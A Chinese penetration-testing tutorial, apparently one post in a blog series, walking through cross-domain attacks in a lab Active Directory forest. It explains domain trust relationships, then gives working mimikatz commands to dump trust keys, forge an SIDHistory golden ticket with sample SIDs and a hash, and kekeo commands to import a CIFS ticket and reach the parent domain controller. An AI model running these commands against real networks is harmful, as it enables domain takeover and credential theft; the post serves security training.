系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。
如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。
跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:
社工钓鱼 -> 免杀过全杀软 -> 内网渗透
那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。
通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:
域普通用户 -> 子域控制器 -> 父域控制器 -> 辅域控制器 -> 财务独立域
通过该思路进攻即可,还有另外一条思路:
域普通用户 -> 10.10.21.0/24二级区域 -> 父子域控制器 -> 横向延伸(财务独立域10.10.21.0/24)
渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过上期隐藏通信隧道技术已经在内网域森林中建立了二级隧道,在上期权限提升中将普通用户权限提升为system最高权限后,并在上期对域森林进行横向移动后,最后在上期域控渗透后发现父域控等情况,今天我们就来对域森林中进行分析进行跨域攻击渗透行为,总结实战中会遇到针对跨域攻击的各种方法,利用这些方法在内网中遨游!
不会跨域攻击的技术,就无法对内网机器进行进一步的渗透!!
二、环境介绍
目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:
在通常情况下、即使拥有管理员权限,也无法读取域控制器中的C:\Windwos\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务可以获得文件的副本。
本节将介绍常用的提取ntds.dit文件的方法,并对非法提取ntds.dit文件、如何通过MS14-068漏洞攻击域控制器等方式方法进行演示!利用这些方法在域森林中旅行!
三、跨域攻击分析
很多大型企业都拥有自己的内网,一般通过域林进行共享资源。根据不同职能区分的部门,从逻辑上以主域和子域进行划分,方便统一管理。在物理层,通常使用防火墙将各个子公司及各个部门划分为不同的区域。攻击者如果得到了某个子公司或者某个部门的域控制器权限,但没有得到整个公司的内网全部权限,往往会想办法获取其他部门或者域的权限。因此,在部署网络边界时,如果能了解攻击者是如何对现有网络讲行跨域攻击的,就可以更安全地部署内网还我、更有效地防范攻击行为。
常见的跨域攻击方法有:
1)例如利用 Web漏洞跨域获取权限
2)利用已知域散列值进行哈希传递攻击或票据传递攻击(例如域控制器本地管理员密码可能相同)
3)利用域信任关系进行跨域攻击。
四、域信任关系简介
域信任关系分为单向信任和双向信任两种:
1.单向信任是指在两个域之间创建单向的信任路径,即在一个方向上是信任流,在另一个方向上是访问流。在受信任域和信任域之间的单向信任中,受信任域内的用户(或者计算机)可以访问信任域内的资源,但信任域内的用户无法访问受信任域内的资源。也就是说,若A域信任B域,那么B域内受信任的主体可以访问A域内信任B域的资源。
2.双向信任是指两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问流。这意味着,可以从两个方向在两个域之间传递身份验证请求。活动目录中的所有域信任关系都是双向传递的。在创建子域时,会在新的子域和父域之间自动创建双向可传递信任关系,从下级域发出的身份验证请求可以通过其父域向上流向信任域。
信任关系可以分为内部信任和外部信任两种:
1.在默认情况下,使用活动目录安装向导将新域添加到域树或林根域中,会自动创建双向可传递信任。在现有林中创建域树时,将建立新的树根信任,当前域树中的两个或多个域之间的信任关系被称为内部信任。这种信任关系是可传递的。例如,有三个子域BA、CA、DA、BA域信任CA域,CA域信任DA域,则BA域也信任DA域。
2.外部信任是指两个不同林中的域的信任关系。外部信任是不可传递的,而且是单向的。从Windows server 2003域信任关系变为双向的,且可以通过信任关系进行传递。在Windows操作系统中,只有Domain Admins组中的用户管理域信任关系。
在早期的域中,域信任关系仅存在于两个域之间,也就是说,域信任关系不仅是不可传递的,而且是单向的。随着windows操作系统的发展,从windows server 2003 版本开始,域信任关系变为双向的,且可以通过信任关系进行传递。在windwos操作系统中,只有Domain Admain组中的用户可以管理域信任关系。
接下来将对dayu公司内网中存在域信任关系进行跨域攻击行为!
五、域森林跨域攻击
1、获取域信息
在域中,Enterprise Admins组(仅出现在林的根域中)的成员具有对目录林中所有域的完全控制权限。在默认情况下,该组包含林中所有域控制器上具有 Administrators权限的成员。
1)自带命令查询
nltest /domain_trusts
nltest /dclist:dayu.com
dnscmd /enumzones
2)或者子域控制器查询
netdom query trust
3)ADExplorer64
下载地址:
https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer
这里三种方法都可以看到是否存在域信任关系!
2、域信任密匙攻击
为基于域信任关系的域攻击。主要利用SIDHistory进行跨域信任黄金票据利用。
利用条件为已获得其中一个子域的DA权限,想从DA提升到EA。
SIDHistory介绍和利用
SIDHistory 版黄金票据的基础是森林内信任关系,因为如果不是森林内信任关系,则 SIDHistory 会被微软的 SID Filter 规则过滤掉,从而失效,但森林内部不会有 SID Filter 规则。
由于每个域的 SID 都不同,叠加 SIDHistory 的黄金票据不具备通用性。根据微软的描述,在同一个域森林内部,企业管理组 EA(Enterprise Administrators) 会自动被森林内部所有域加入到本域的域管理员组,且 EA 只存在于根域中,所以企业管理组 EA 的 SID 固定为根域的 SID 加上固定的 RID 即 519。
如果将使用企业管理组 EA 的 SID 设置 SIDHistory 属性,和黄金票据结合,则在只获取任意一个域 krbtgt 账号 NTLM 值的前提下,可实现森林内部所有域的跨域黄金票据,这种票据可简称为 SIDHistory 版黄金票据。
1)信息查询
Get-ADUser -Filter {samAccountName -like "*$"}
Get-ADUser -Filter {samAccountName -like "*"}
2)域信任查询
首先,搭建符合条件的域环境。域林内信任环境的具体情况如下:
nltest /domain_trusts #检查域信任情况
通过前期的信息收集篇章获得如下信息:
父域的域控制器: dayu.com ( Windows Server 2016 )
子域的域控制器: xiyou.dayu.com( Windows Server 2016 )
子域内的计算机: user1.xiyou.dayu.com ( Windows 7)
子域内的普通用户: testyy/QWEasd123
在本实验中,使用mimikatz在域控制器中导出并伪造信任密钥,使用kekeo请求访问目标域中目标服务的TGS票据。使用这两个工具,渗透测试人员便可以创建具有sidHistory 的票据,对目标域进行安全测试。
3)条件攻击查询
在xiyou.dayu.com中使用mimikatz获取需要的信息,命令如下:
子域控制器中执行:
mimikatz.exe privilege::debug "lsadump::lsa /patch /user:父域名$" "lsadump::trust /patch" exit
mimikatz.exe privilege::debug "lsadump::lsa /patch /user:dayu$" "lsadump::trust /patch" exit
NTLM : 5c71b05069ce9dc07c94d46851068d9f
XIYOU.DAYU.COM: S-1-5-21-1816246241-4074331134-2257350442
DAYU.COM:S-1-5-21-3309395417-4108617856-2168433834
成功获得三个条件!
4)跨域攻击
获取信息后,在域内计算机user1.xiyou.dayu.com中使用普通域用户权限testyy/QWEasd123执行即可。
使用mimikatz创建信任票据:
mimikatz.exe “Kerberos::golden /domain:xiyou.dayu.com /sid:当前SID /sids:目标SID-519 /rc4:信任秘钥 /user:任意用户名 /service:krbtgt /target:目标域 /ticket:dayu.kirbi" exit
mimikatz "Kerberos::golden /domain:xiyou.dayu.com / sid:S-1-5-21-1816246241-4074331134-2257350442 /sids:S-1-5-21-3309395417-4108617856-2168433834-519 /rc4:5c71b05069ce9dc07c94d46851068d9f /user:dayudayu /service:krbtgt /target:dayu.com /ticket:dayu.kirbi" exit
domain 参数用于指定当前域名;
sid 参数用于指定当前域的SID;
sids 参数用于指定目标域的SID,信任域的SID,也就是父域;
rc4 参数用于指定信任密钥;
user 参数用于指定伪造的用户名;
service 参数用于指定要访问的服务;
target 参数用于指定目标域名;
ticket 参数用于指定保存票据的文件名。需要注意的是,第一次访问域控制器时的提示文字重复是由mimikatz执行时的输出异常造成的。
domain:当前子域,sid:当前子域SID,sids:信任域的SID(也就是父域),krbtgt:当前域的krbtgt的值,user是trust account,不确定可以使用dcsync在看下。
lsadump::dcsync /domain:xiyou.dayu.com /user:dayu$
\\dayu1.dayu.com\c$
可看到没导入域信任票据是无法登录访问的!
5)导入票据
利用刚刚创建的名为dayu.kirbi的信任票据获取域中目标服务的TGS并保存到文件中。输入:
asktgs.exe dayu.kirbi CIFS/xiyou.dayu.com
kirbikator.exe lsa CIFS.xiyou.dayu.com.kirbi
最后生成CIFS共享票据,导入后成功横向通道登录父域的C盘目录,上线CS等监听端即可!
六、总结
攻击者在获取当前域的域控制器的权限后,会检查城控制器的本地管理员密码是否与其他的域控制器本地管理员密码相同,以及在两个域之间的网络没有被隔离的情况下是否可以通过哈希传递进行横向攻击等。在很多公司中,虽然为不同的部门划分了不同的域,但域管理员可能是同一批人,因此可能出现域管理员的用户名和密码相同的情况。在日常网络维护中,需要养成良好的安全习惯,才能有效地防范跨域攻击。
如果不会这几种方法进行渗透域控,就很难在内网域森林中旅行,无法见到更多的风景,学习今天的方法,通过多种方法查询域控中域信任关系情况通过跨域攻击获得目标系统权限,就可以在该公司域森林中遨游了!
公司域森林搭建 -> 域森林信息收集上 -> 域森林信息收集下 -> 域森林通信隧道建立上 -> 域森林通信隧道建立下 -> 域森林中权限提升上 -> 域森林中权限提升中 -> 域森林中权限提升下 -> 域森林中横向移动(上)-> 域森林中横向移动(中)-> 域森林中横向移动(下)-> 域森林中域控制安全(上)-> 域森林中域控制安全(下)-> 域森林中跨域攻击(总)-> 域森林中置零攻击(总)......
接下来在《域森林中置零攻击(总)》中会接触到除了跨域攻击还有哪些攻击方法可以对域控制器进行渗透攻击的行为,如何建立内网渗透框架一步步攻击该公司内网环境的思路和方法,请看下篇域森林中跨域攻击篇章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余